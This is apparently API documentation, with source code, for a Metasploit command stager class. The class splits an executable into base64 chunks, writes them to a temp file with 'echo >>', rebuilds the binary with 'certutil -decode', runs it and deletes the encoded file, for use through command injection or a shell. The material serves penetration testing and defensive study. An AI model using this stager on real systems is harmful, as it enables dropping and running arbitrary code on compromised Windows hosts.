Class: Rex::Exploitation::CmdStagerCertutil

Inherits:
CmdStagerBase show all
Defined in:
lib/rex/exploitation/cmdstager/certutil.rb

Overview

This class provides the ability to create a sequence of commands from an executable. When this sequence is ran via command injection or a shell, the resulting exe will be written to disk and executed.

This particular version uses Windows certutil to base64 decode a file, created via echo >>, and decode it to the final binary.

Written by xistence Original discovery by @mattifestation - gist.github.com/mattifestation/47f9e8a431f96a266522

Instance Method Summary collapse

Methods inherited from CmdStagerBase

#generate, #generate_cmds_payload, #setup, #slice_up_payload, #teardown

Constructor Details

#initialize(exe) ⇒ CmdStagerCertutil

Returns a new instance of CmdStagerCertutil.



26
27
28
29
30
31
32
# File 'lib/rex/exploitation/cmdstager/certutil.rb', line 26

def initialize(exe)
  super

  @var_encoded = Rex::Text.rand_text_alpha(5)
  @var_decoded = Rex::Text.rand_text_alpha(5)
  @decoder     = nil # filled in later
end

Instance Method Details

#cmd_concat_operatorString

Windows uses & to concat strings

Returns:

  • (String)

    Concat operator



108
109
110
# File 'lib/rex/exploitation/cmdstager/certutil.rb', line 108

def cmd_concat_operator
  " & "
end

#compress_commands(cmds, opts) ⇒ Array

We override compress commands just to stick in a few extra commands last second..

Parameters:

  • cmds (Array)

    Complete command line

  • opts (Array)

    Extra options for command line generation

Returns:

  • (Array)

    The complete command line including cleanup



92
93
94
95
96
97
98
99
100
101
102
103
# File 'lib/rex/exploitation/cmdstager/certutil.rb', line 92

def compress_commands(cmds, opts)
  # Make it all happen
  cmds << "#{@tempdir}#{@var_decoded}.exe"

  # Clean up after unless requested not to..
  if (not opts[:nodelete])
    cmds << "del #{@tempdir}#{@var_encoded}.b64"
    # NOTE: We won't be able to delete the exe while it's in use.
  end

  super
end

#encode_payload(opts) ⇒ String

Simple base64 encoder for the executable

Parameters:

  • opts (Array)

    The options to generate the command line

Returns:

  • (String)

    Base64 encoded executable



51
52
53
# File 'lib/rex/exploitation/cmdstager/certutil.rb', line 51

def encode_payload(opts)
  Rex::Text.encode_base64(@exe)
end

#generate_cmds(opts) ⇒ Array

Override just to set the extra byte count

Parameters:

  • opts (Array)

    The options to generate the command line

Returns:

  • (Array)

    The complete command line



38
39
40
41
42
43
44
45
# File 'lib/rex/exploitation/cmdstager/certutil.rb', line 38

def generate_cmds(opts)
  # Set the start/end of the commands here (vs initialize) so we have @tempdir
  @cmd_start = "echo "
  @cmd_end   = ">>#{@tempdir}#{@var_encoded}.b64"
  xtra_len = @cmd_start.length + @cmd_end.length + 1
  opts.merge!({ :extra => xtra_len })
  super
end

#generate_cmds_decoder(opts) ⇒ Array

Generate the commands that will decode the file we just created

Parameters:

  • opts (Array)

    The options to generate the command line

Returns:

  • (Array)

    The certutil Base64 decoder part of the command line



79
80
81
82
83
84
# File 'lib/rex/exploitation/cmdstager/certutil.rb', line 79

def generate_cmds_decoder(opts)

  cmds = []
  cmds << "certutil -decode #{@tempdir}#{@var_encoded}.b64 #{@tempdir}#{@var_decoded}.exe"
  return cmds
end

#parts_to_commands(parts, opts) ⇒ Array

Combine the parts of the encoded file with the stuff that goes before / after it.

Parameters:

  • parts (Array)

    Splitted commands

  • opts (Array)

    The options to generate the command line

Returns:

  • (Array)

    The command line



61
62
63
64
65
66
67
68
69
70
71
72
73
# File 'lib/rex/exploitation/cmdstager/certutil.rb', line 61

def parts_to_commands(parts, opts)

  cmds = []
  parts.each do |p|
    cmd = ''
    cmd << @cmd_start
    cmd << p
    cmd << @cmd_end
    cmds << cmd
  end

  cmds
end